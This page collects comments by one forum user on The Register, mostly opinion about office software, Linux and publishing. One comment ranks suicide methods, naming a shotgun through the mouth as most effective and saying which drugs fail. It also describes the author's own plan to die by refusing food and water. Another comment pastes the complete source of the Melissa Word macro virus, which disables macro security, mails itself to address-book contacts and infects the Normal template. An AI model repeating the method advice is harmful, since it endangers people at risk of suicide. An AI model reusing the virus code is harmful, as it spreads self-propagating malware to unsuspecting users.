Posts by Pompous Git 3087 publicly visible posts • joined 24 Sep 2014
@ Lotaresco
Just to add to your point, when I was a teenager a neighbour shot himself in the back with a shotgun. He was driving at the time and the shottie was on the back seat of the car pointing at his lower back. Why it was cocked and unlocked is likely because he was a complete and utter fuckwit. He didn't survive.
"Sorry to hear about your problems."Don't be too fussed handleoclast. I've had an interesting life and hopefully it won't be curtailed for some time yet. I've outlived most of my close friends and my younger brother.
I already take opioids, oxycontin and codeine, but I don't find them fun at all. I find fighting constipation and constant drowsiness a tad boring. Marijuana (the high cannabinoid sort) works very well. The legal sort is not available to me; I'm neither officially terminally ill, or a juvenile. Despite the recent change in the law, as of last week no prescriptions have been issued. Mainly I suspect because it requires three doctors to sign off on one.
Thanks for the heads up on how to use the shotgun. Or should that be a heads off?
"it's been said that statistically., many suicide attempts are "cries for help", ie they do it in such a way that they are discovered and saved. Not so much if they choose an "instant death" method such as a gun, so I'd think that areas of high gun ownership would likely result in higher "successful" suicide rates since those people are are not exactly thinking straight in most cases. "Almost right. The best quick suicide weapon is a shotgun through the roof of the mouth. Lesser calibre weapons are not so effective and don't even think about a .22. Chemical methods frequently fail because the human body can be quite tolerant of high doses of potent drugs such as opiates that work by suppression of breathing. Very often they merely damage the brain of the would-be suicide leaving them in a worse state than before. Ditto for insulin which came as a bit of a surprise; writers of crime fiction have much to answer for.
It's a bad assumption to make that suicides are "not thinking straight". While it's the case that many suicides are down to depression, it's far from the case that all are. My own decision to terminate my life at a time of my choosing is entirely rational. As someone who has suffered depression in the past, I can say that I'm as undepressed as I have ever been and that the decision to terminate my own life was something of a relief.
In a nutshell, I suffer considerable pain from spinal stenosis (a form of osteoarthritis). There is no medical reason I need suffer this pain, but the law, doctors etc conspire to restrict my access to pain-relieving medication because junkies obtain pleasure by injecting these substances into their veins.
When the pain becomes unbearable I will cease eating and drinking, and I'm assured some two weeks after this will die. It's legal, effective and rates a 9 out of 10 for quality of death from those caring for the dying.
"Guns for all except, minors, people with mental health problems, domestic abuser, criminals and no automatic weapons or modifications designed to kill lots of people"Good luck with that, or should that be "happy wishful thinking"? Criminals by definition do not obey the law and that includes gun laws. Mental health problems often happen to people who have previously been perfectly well mentally.
"Over 44 years of shooting, exactly three of my rounds of ammunition have been used to kill something"Over 50 years of shooting and mostly managed to kill what I was shooting at — mostly vermin. Then there were the sheep for eating. A relatively peaceful way for a sheep to die. Mostly people eat sheep that are transported across country in a truck which they find very stressful. Then they get to hang around listening to their fellow sheep being killed and smelling their blood. Very stressful again.
"Is it faster in benchmarks than the current version of Windows 10 or say offers better power saving on a laptop then? Because it never has before."What relevance does this have in regard to utility? FWIW Mint runs Civ V better than Windows. Under Windows, very often the roads you build don't display whereas they always display when running Mint.
"As for Timeshift, I prefer to use GpartedLive to make a clone of my root and home partitions which I can archive (at the back of the drawer) and restore from if needed."Ditto, but also for an essential win partition. Also off-site BUPs. My external Icy Box just died and has been replaced by two internal Icy Boxes in my medium tower case. One for 2.5 inch and one for 3.5 inch drives. They cost me less than hard drive caddies used to. Been using GParted and naked drives for nigh on two years now.
"Why on earth would anyone use crap like Autocad when there are much better packages available that run on multiple platforms "A friend of mine designs houses and when I asked him this very question he said because in return for a very small purported improvement in the software, there's a very large real cost.
1. Retraining everyone except the receptionist.
2. A loss of productivity for several months while everyone attempts to get back up to speed.
3. Cost of purchasing new licences. The ones in current use are already bought and paid for some years ago.
Note that the clients don't give a flying fuck what software/hardware you use. They just want their building designed and the appropriate drawings/documentation produced. My friend says that colleagues in the industry who've switched have done so for entirely ideological reasons and that economically it makes little to no sense.
What might make such a hare-brained scheme work would be if new graduates were skilled in some product other than AutoCAD, but they aren't. They were taught AutoCAD.
"The FACT is that Windows is the OS of choice for the vast majority of businesses"No, the vast majority of businesses need to run particular software. That software is mostly only available for Windows. If it's multiplatform, then there's a Mac version. Only rarely is there a Linux version or competitor even.
"So. What does Outlook have that others don't again?"First up, far be it from me to denigrate dead-tree calendars. I have FY pocket Collins diaries a week to an opening going back many decades. However...
When I plug my HTC phone into the computer to charge, it automatically synchronises my Outlook contacts and calendar. Synchronising contacts with Thunderbird requires keeping my contacts in GMail. Sorry, but that's not an option in my book.
In my 18 months of living Linuxly, I could access the calendar function in Thunderbird (an add-in) while in Windows, but booting into Linux generated the message that the calendaring function was disabled due to incompatibility with the Windows add-in. Evolution didn't allow opening hyperlinks in a web browser and Evolution support never got back to me about how to enable that function. I tried another couple of applications, but they also had severe shortcomings.
Calendars are not just associated with people, they are associated with, for example, meeting rooms, computer labs, lecture theatres, and other facilities. In the dead-tree approach, you need to locate the person in charge of the calendar, and they might be at lunch, sick, on rec leave etc. Outlook (or other CRM) means any number of people in an organisation have access and can see when a facility is free, or booked. Even when your calendar is shared, you can block public access to the detail and have time shown as unavailable.
I came across CRMs before Outlook existed. Tracker and Goldmine come to mind. When Outlook was released, it was a pale imitation, but not so pale it wasn't useful. It became ubiquitous and there are, I'm told, some very useful add-ins to improve its functionality.
When I was managing a MS Certified Training business in the mid-90s, I had two underlings who were recent comp-sci graduates. Neither seemed able to grasp the concept of keeping a pocket diary and turning up on time to do what they were paid to: provide the clients with training. Keeping paying clients waiting half an hour for you to turn up is not conducive to repeat business.
"The world currently uses Microsoft, and any change to that must come via changes in business before education. "I'd say the FOSS community needs to wake up. The lack of outlining in OO/LO was flagged more than 10 years ago. Code for outlining already exists in Impress, so it's not clear why the frequently requested feature hasn't been included.
Will Writer ever provide MS Word style outlining (not navigator)?
Bug 68167 - Create an outline view similar to that in MS Word and Apple Pages
This is a showstopper for many writers.
"Why would an emai-software even have a calendar built in? I mean any real life reason, not the one 'because the outlook has it'."Outlook is a (basic) CRM (customer relationships manager). It enables you to directly turn email queries into timed reminders about contacting clients/customers. Shared calendars means you can organise meetings for several people without making multiple queries. Meeting invitations can be emailed directly. Outlook reminds you when your appointments are due and through synchronisation software sticks those appointment reminders into your phone.
Of course if you can't see the need for customers, want to actively discourage them, or fail to turn up to appointments because you forgot to put it into your phone and your desktop computer then you wouldn't see the point.
"If you have multiple people using Excel to control the stock of whatnot in a hospital then I can guarantee you, 100%, they will have no fuckign idea what the stock level is."Private hospital chain my brother-in-law used to work for obviously have "no fuckign idea" how to run a multinational business then. How do they remain in business?
Public hospital my sister used to work at the woman who usually did the stock estimates each month was on leave so my sister was asked to do the report. When the usual nurse responsible for it returned from leave she was livid. How dare my sister report actual stocks and usage? She always altered the numbers to reflect what she thought was needed. So it goes...
"Excel does not support transactions from multiple sources."But individual sheets from disparate areas can be analysed together when included in the same workbook.
"Take Microsoft Excel off everyone's PC, and fire anyone who complains!"And when every department in the hospital uses Excel for maintaining records of drugs, dressings, etc, they will be more productive when they don't know how much they are using and how much they will need? And don't forget you've just fired them who have a rough idea because they are the ones maintaining those records...
"I think WP is still in use in some law firms - it was popular with that industry. Corel is still selling it, so perhaps it has some advocates"
Word Perfect for Linux is free, but it's a barrel of laughs to use.
"The advantage being the separation of code from data - something that is the bane of every expert brought in to fix Excel issues."That was the big advantage of Lotus Improv; the cells contained data, but the formulae were separate and referred to named ranges of cells.
Have an upvote.
"For mere millions of rows Filemaker did the job perfectly 14 years and 10 months ago. The spreadsheet that could be a server."Filemaker is a database product, not a spreadsheet. Fifteen years ago it was only a flatfiler even. I was a beta tester for the first Windows version codenamed Samurai.
"As far as I'm aware Excel was an inhouse development from the very start."Indeed it was. Jobs hired MS to develop Excel (and Word), and gave MS a bunch of Macs to do so. Macs were only available to the general public a year later. The Mac teams were locked away each day to keep people from stealing ideas from the Macs.
As one member of the team said, the only people interested in stealing ideas from the Macs were all locked away in a room full of them...
"I don't know of any orgs that currently present their Exchange SMTP services directly to the Internet."Probably something you only do once. Back in the days when MS Small Business Server was at 4.0 the one I was managing was exploited a bug to allowing a spammer to use it for relaying. The fix was some weeks in coming and it took months to have the domain removed from the blacklists.
"It would not be very good. Probably quite a restricted frequency range, especially lacking lower frequencies. That might not matter for voice communication, but it won't do a decent job reproducing music."The small size of the rearview mirror would restrict lower frequencies, but the quality would be quite high. A couple of decades ago, a friend played with driving glass sheets somewhat larger and the results were stunning. Unfortunately, glass's physical characteristics change with time (it stiffens) and the lower cutoff frequency would change. The rate of change varied dependent on how much use the speakers got.
"Making it pretty is another function altogether ... and one that I often leave to an editor. It's what they are paid for. Isn't your time valuable? Mine is."First, it's not usually the role of an editor to make a document look "pretty". A coffee table book maybe, but most publications are not coffee table books. Tim O'Reilly for example publishes how-to books on computerish subjects and very good they are too. That's why when people ask me for advice on publishing I usually show them an O'Reilly book as an example of excellence.
I also show them for contrast a recipe book I have. It's chocka-block with pretty pictures. So much so that the "typographer" has shrunk the pale grey on white text to the point of invisibility for most of us. IOW it's not fit for purpose.
First book I wrote was published by a local publisher who encouraged me to write it. It sold ~50,000 copies in the first two print runs. RRP was $AU19.50 and the cost per book was ~$AU5 leaving a gross profit of $AU14.50 per book or $AU725,000. The contract specified I was to receive 50% of the gross. The publisher offered me $AU10,000. My lawyer advised me I would "win" at court, but the company would have flogged off all assets by then and the return to me would be nil. My time is worth a lot more than $AU10/hr.
And that is why when the 'knarchitect advised me to hire a builder to build The House of Steel I didn't; I managed the project myself. The builders' quote were ~$AU350,000. I built it for $AU170,000. Earning the additional $AU180,000 would have entailed paying ~$AU120,000 income tax. It took ~2,500 hours of my time for the build so my "income" was $AU120/hr. Based on what I learnt during that build my next will take considerably less time and the costs should be ~20% lower.
"You've never heard of design and layout editors? Fascinating."No, never. Designers, yes; layout artists, yes. Editors edit copy, hence the term copyediting. This occurs prior to layout where minor textual changes are called copyfitting. If you used the term "design and layout editors" in these parts you would be taken to be referring to publishing software such as QuarkXpress, InDesign or FrameMaker. The latter BTW is amazing. Were I not retired I would be purchasing it immediately before it becomes rental only.
"That's not a footnote?"Let us suppose that you have the exact number of lines above the footnote such that it prints in its entirety at the foot of an American Letter page. Then let us suppose you decide to print to an A4 page instead. Your "footnote" will now have some lines of text printing afterwards, thus rendering it no longer a footnote. Let us further suppose that you add sufficient text to your footnote that it flows into the head following page. A footnote inserted into text in a word processor will always fall at the foot of the page regardless of the height of the page.
A text editor is not a word processor, though word processors incorporate a text editor. The distinction is obvious to anyone that learnt Wordstar back in the good old days. You could switch between text mode and document mode. Footnotes were not available in text mode, but they were in document mode.
"I insert footnotes the same way I insert them here[0]."That's not a footnote. Footnotes are a property of pages and vi doesn't include a paginator. What you are seeing as a footnote is just a string of plain text.
"I suspect you'd really frown at how I handle typesetting ..."Frankly I doubt that. You are free to do whatever you wish in that line. First book I published is still selling 20 years on for $US39.95.
""Word warns you when opening such a document."That's gonna stop a lot of users! ;-p"
BLOCKED CONTENT Macros in this document have been disabled by your enterprise administrator for security reasons. See: New feature in Office 2016 can block macros and help prevent infection
Frankly I don't know what you're getting at here. What does "Without sanitizing the environment that it executed in" actually mean? Do you really think the average writer is capable of your magnificent feat of writing a document from start to finish, endnotes etc without needing to do any editing? Word, without being anywhere near the best word processor on the market manages a more than decent decent job at a remarkably low price. vi is not a word processor, it's a basic text editor and a very good one. How do you convert footnotes into endnotes with it? How do you insert the missing full stops in 95% of the footnotes that the author forgot as happened with a recent MS that I published? There were over a thousand of them.
As I said earlier, I'll use the primitive tools you suggest when you go back to using punchcards for programming.
"The point is that Microsoft, in all it's wisdom, decided to make a document file, which the entire planet until then treated as data, into an executable file."Every word processor I've used has included macros, that is a programmatic component. The reason Word was exploited was because of its ubiquity. The most powerful macro language in my experience was that included with Sprint, but it never sold at all well [sigh]. That would have been a tool for mayhem had it sold well.
The reason MS went with a binary for its DOC file format was it meant DOC files occupied far less disk space than ASCII when that was expensive real estate. It also meant saves were far quicker, though that was only a concern on larger files. And that was where Word ran into problems. It has never handled large files very well. So it goes...
It would seem no amount of ignorance is a barrier to holding an opinion on another’s use of specialist tools. While it would never occur to me to suggest that programmers forsake their favourite IDE and go back to using punch cards, it seems programmers and others are from averse to suggesting that power document creators forsake their power tools.
This came to me when I opened a Word document I’ve been working on for some years in LibreOffice Writer. I needed to restructure the document and discovered that more than 10 years after asking for an editable outline view such as you find in Word, that there isn’t one.
Now I’m not going to say that Word is the answer to maiden’s prayer, far from it; I’ve been very critical of recent changes to Word. The discovery that LO Writer still lacks Word's basic functionality reminded me of when I first seriously attempted the move to Linux back in October 2000.
At that time I was using a combination of Word and PageMaker to create documents for publication. They made a great team. My friend and fellow tech writer, Bo Leuf, suggested that I try FrameMaker as there was a free download of the beta for Linux. I did so and discovered that it was not just Word on steroids, it also incorporated pretty much all of what Ventura Publisher or TeX could do. Way to go!
Sadly, despite FrameMaker having its origins on Unix, the Linux version timed out and was never released. Ah well, I saved spending the $AU2,000 it was going to cost. I could have purchased the Windows version, but decided to stick with what I’d already paid for.
As I write a free evaluation copy of the latest FrameMaker (Windows only these days) is downloading for my delectation. People who are using it day-to-day to make a living tell me the steroids it’s on are even more powerful than back in 2000. I’m unlikely to shell out the $AU1,549.90 to purchase it; I’m retired now. But I can have 30 days of fun :-)
Why would anyone spend that kind of money when LO is free? Well, one operation I performed in LO required ~200 mouse clicks. In Word it takes around 20 mouse clicks and in FrameMaker none if you have already set up your template correctly. Free software is only free if your time is worth nothing.
"A couple of us showed you links to articles on El Reg covering that. Why don't you go and read them?I did. They weren't at all about "opening a text file"; they describe executing the commands in a Word document by opening a word document and explicitly allowing Word to run the malicious code therein. Word warns you when opening such a document."
Melissa.txt I describe below is a text file. Opening it in Word, or Notepad does not infect the machine. Your claim is thus demonstrated to be totally and utterly false.
BTW LibreOffice Writer also allows the creation of macros. Since that application also runs on Linux, it's possible for documents opened on that platform to do malicious things.
"Hilarious. So in other words you can't name a better product."More to the point, nobody seems able to. Centrelink moving from Domino/Notes to Exchange, Quantas moving from Domino/Notes to Exchange... Asking around, can't find anyone moving the opposite way. Maybe Naseby Town Council is ;-)
"Never ceases to amaze me..."Really? How amazing is claiming "opening a text file (document) still gets the machine infected. In 2017."
I saved the following text as melissa.txt:
"Private Sub Document_Open()On Error Resume Next
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> "" Then
CommandBars("Macro").Controls("Security...").Enabled = False
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
Else
CommandBars("Tools").Controls("Macro").Enabled = False
Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1)
End If
Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject("Outlook.Application")
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") <> "... by Kwyjibo" Then
If UngaDasOutlook = "Outlook" Then
DasMapiName.Logon "profile", "password"
For y = 1 To DasMapiName.AddressLists.Count
Set AddyBook = DasMapiName.AddressLists(y)
x = 1
Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
For oo = 1 To AddyBook.AddressEntries.Count
Peep = AddyBook.AddressEntries(x)
BreakUmOffASlice.Recipients.Add Peep
x = x + 1
If x > 50 Then oo = AddyBook.AddressEntries.Count
Next oo
BreakUmOffASlice.Subject = "Important Message From " & Application.UserName
BreakUmOffASlice.Body = "Here is that document you asked for ... don't show anyone else ;-)"
BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
BreakUmOffASlice.Send
Peep = ""
Next y
DasMapiName.Logoff
End If
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") = "... by Kwyjibo"
End If
Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)
Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
NTCL = NTI1.CodeModule.CountOfLines
ADCL = ADI1.CodeModule.CountOfLines
BGN = 2
If ADI1.Name <> "Melissa" Then
If ADCL > 0 Then ADI1.CodeModule.DeleteLines 1, ADCL
Set ToInfect = ADI1
ADI1.Name = "Melissa"
DoAD = True
End If
If NTI1.Name <> "Melissa" Then
If NTCL > 0 Then NTI1.CodeModule.DeleteLines 1, NTCL
Set ToInfect = NTI1
NTI1.Name = "Melissa"
DoNT = True
End If
If DoNT <> True And DoAD <> True Then GoTo CYA
If DoNT = True Then
Do While ADI1.CodeModule.Lines(1, 1) = ""
ADI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub Document_Close()")
Do While ADI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
If DoAD = True Then
Do While NTI1.CodeModule.Lines(1, 1) = ""
NTI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub Document_Open()")
Do While NTI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
CYA:
If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, "Document") = False) Then
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then
ActiveDocument.Saved = True
End If"
Then I opened the melissa.txt file by double-clicking it. Suddenly, nothing happened except the text file was open in Notepad. You claim my computer is now infected. Because 2017. You either know sweet fuck all about computing, or you are assuming other commentards know sweet fuck all.
"One would think that Microsoft hasn't had very many of what could be perceived as "victories" recently."That's because it's very hard to shoot your second foot off. The first is easy, you're standing still, but when you need to hop around in a semi-random way, it's difficult to aim straight ;-)
See my reply to jake.
Checking further I see that Word's default is to run macros on a document, by document basis. As it should be. You need to give explicit permission to be affected by a macro virus.
Yes, I'm on drugs of the pain-killing variety. But they do not give me the illusions that seem to be afflicting you today. I know workplaces where we achieved throughput increases well in excess of an order of magnitude through judicious use of macros and Word's other built-in smarts.
"Why pretend these accusations of yours are from "a friend?" That's called "chickenshit" where I come from. If you want to accuse the US of bad behavior, do it yourself, and oh yes, provide some evidence or STFU."Oh dear, have I offended the poor widdle snowflake?
First, I've never been to Iraq, but several friends have their origins there. Prior to the US invasion Iraq was a major market for Australian wheat and sheep.
Evidence? When the USS Enterprise visited Hobart in October and November of 1976 the city was inundated with drugs (LSD branded Red, white and Blue, heroin, marijuana in the form of hashish and grass, speed and Lord knows what else), and pornography. The latter wasn't Playboy, or Penthouse, but what one supposes is The Real Thing. If you think US troops just go around handing out Hershey bars and patting little children on the head, you have your head right up your arse.
"Dick pics have been part of human culture for as far back as we have art"
Cerne Abbas in Dorset I wonder what the poor benighted Merkins make of that...
""They train young men to rain fire upon people but they won't allow them to write 'fuck' on their airplanes because it is obscene""A friend who lives in Iraq told me the first thing the US troops did when they invaded was kill a large number of civilians. The second was to import huge quantities of pron, hitherto rare and difficult to acquire there.
"Once you know the printer specs, printer drivers are trivial to write."Perhaps you'd like to write one for Linux then. The Lexmark C543dn driver provided by Lexmark generates an erroneous message when printing: "Warning: waste toner bottle full". Lexmark's solution is to replace the empty toner bottle with a new one! The Linux community response would be a deafening silence were it not for the plaintive emails I received asking if I'd solved the problem yet.
FWIW the erroneous error message doesn't appear in Win 7 or 10. It appears in Linux Cinnamon Mint 17.2 and 18.0.
The Register 
Biting the hand that feeds IT
Copyright. All rights reserved © 1998–2024
